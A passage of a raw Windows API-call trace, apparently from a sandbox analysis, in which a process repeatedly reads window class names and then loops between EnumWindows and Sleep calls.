(in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0233.017] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.017] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0233.018] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0233.018] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0233.018] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0233.018] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0233.018] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0233.018] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.018] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0233.018] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0233.018] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0233.018] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0233.019] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.019] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.019] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.019] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.019] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.019] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0233.019] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.019] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0233.019] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0233.019] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0233.019] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0233.019] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0233.019] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0233.019] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0233.019] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0233.020] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0233.020] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0233.020] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0233.020] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.020] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.021] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.022] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.023] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0233.024] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.024] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.025] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0233.025] Sleep (dwMilliseconds=0x64) [0233.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.133] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0233.134] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0233.134] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0233.134] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0233.134] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.134] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.134] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.134] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.134] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.134] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0233.134] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0233.134] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0233.135] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0233.135] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0233.135] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0233.137] Sleep (dwMilliseconds=0x64) [0233.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.139] Sleep (dwMilliseconds=0x64) [0233.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.141] Sleep (dwMilliseconds=0x64) [0233.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.143] Sleep (dwMilliseconds=0x64) [0233.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.145] Sleep (dwMilliseconds=0x64) [0233.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.146] Sleep (dwMilliseconds=0x64) [0233.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.151] Sleep (dwMilliseconds=0x64) [0233.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.158] Sleep (dwMilliseconds=0x64) [0233.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.160] Sleep (dwMilliseconds=0x64) [0233.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.187] Sleep (dwMilliseconds=0x64) [0233.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.190] Sleep (dwMilliseconds=0x64) [0233.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.198] Sleep (dwMilliseconds=0x64) [0233.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.316] Sleep (dwMilliseconds=0x64) [0233.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.317] Sleep (dwMilliseconds=0x64) [0233.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.319] Sleep (dwMilliseconds=0x64) [0233.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.321] Sleep (dwMilliseconds=0x64) [0233.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.323] Sleep (dwMilliseconds=0x64) [0233.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.327] Sleep (dwMilliseconds=0x64) [0233.328] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.329] Sleep (dwMilliseconds=0x64) [0233.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.331] Sleep (dwMilliseconds=0x64) [0233.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.333] Sleep (dwMilliseconds=0x64) [0233.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.335] Sleep (dwMilliseconds=0x64) [0233.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.337] Sleep (dwMilliseconds=0x64) [0233.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.339] Sleep (dwMilliseconds=0x64) [0233.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.341] Sleep (dwMilliseconds=0x64) [0233.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.343] Sleep (dwMilliseconds=0x64) [0233.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.346] Sleep (dwMilliseconds=0x64) [0233.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.455] Sleep (dwMilliseconds=0x64) [0233.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.461] Sleep (dwMilliseconds=0x64) [0233.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.472] Sleep (dwMilliseconds=0x64) [0233.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.480] Sleep (dwMilliseconds=0x64) [0233.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.488] Sleep (dwMilliseconds=0x64) [0233.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.496] Sleep (dwMilliseconds=0x64) [0233.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.504] Sleep (dwMilliseconds=0x64) [0233.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.655] Sleep (dwMilliseconds=0x64) [0233.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.664] Sleep (dwMilliseconds=0x64) [0233.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.666] Sleep (dwMilliseconds=0x64) [0233.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.668] Sleep (dwMilliseconds=0x64) [0233.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.670] Sleep (dwMilliseconds=0x64) [0233.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.671] Sleep (dwMilliseconds=0x64) [0233.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.674] Sleep (dwMilliseconds=0x64) [0233.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.675] Sleep (dwMilliseconds=0x64) [0233.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.677] Sleep (dwMilliseconds=0x64) [0233.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.683] Sleep (dwMilliseconds=0x64) [0233.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.796] Sleep (dwMilliseconds=0x64) [0233.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.798] Sleep (dwMilliseconds=0x64) [0233.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.799] Sleep (dwMilliseconds=0x64) [0233.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.801] Sleep (dwMilliseconds=0x64) [0233.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.803] Sleep (dwMilliseconds=0x64) [0233.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.805] Sleep (dwMilliseconds=0x64) [0233.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.806] Sleep (dwMilliseconds=0x64) [0233.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.808] Sleep (dwMilliseconds=0x64) [0233.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.811] Sleep (dwMilliseconds=0x64) [0233.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.813] Sleep (dwMilliseconds=0x64) [0233.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.814] Sleep (dwMilliseconds=0x64) [0233.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.816] Sleep (dwMilliseconds=0x64) [0233.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.818] Sleep (dwMilliseconds=0x64) [0233.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.820] Sleep (dwMilliseconds=0x64) [0233.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.826] Sleep (dwMilliseconds=0x64) [0233.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.854] Sleep (dwMilliseconds=0x64) [0233.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.934] Sleep (dwMilliseconds=0x64) [0233.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.936] Sleep (dwMilliseconds=0x64) [0233.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.945] Sleep (dwMilliseconds=0x64) [0233.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0233.953] Sleep (dwMilliseconds=0x64) [0233.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.035] Sleep (dwMilliseconds=0x64) [0234.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.102] Sleep (dwMilliseconds=0x64) [0234.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.106] Sleep (dwMilliseconds=0x64) [0234.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.108] Sleep (dwMilliseconds=0x64) [0234.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.112] Sleep (dwMilliseconds=0x64) [0234.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.113] Sleep (dwMilliseconds=0x64) [0234.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.118] Sleep (dwMilliseconds=0x64) [0234.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.120] Sleep (dwMilliseconds=0x64) [0234.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.122] Sleep (dwMilliseconds=0x64) [0234.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.131] Sleep (dwMilliseconds=0x64) [0234.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.176] Sleep (dwMilliseconds=0x64) [0234.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.298] Sleep (dwMilliseconds=0x64) [0234.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.318] Sleep (dwMilliseconds=0x64) [0234.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.320] Sleep (dwMilliseconds=0x64) [0234.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.402] Sleep (dwMilliseconds=0x64) 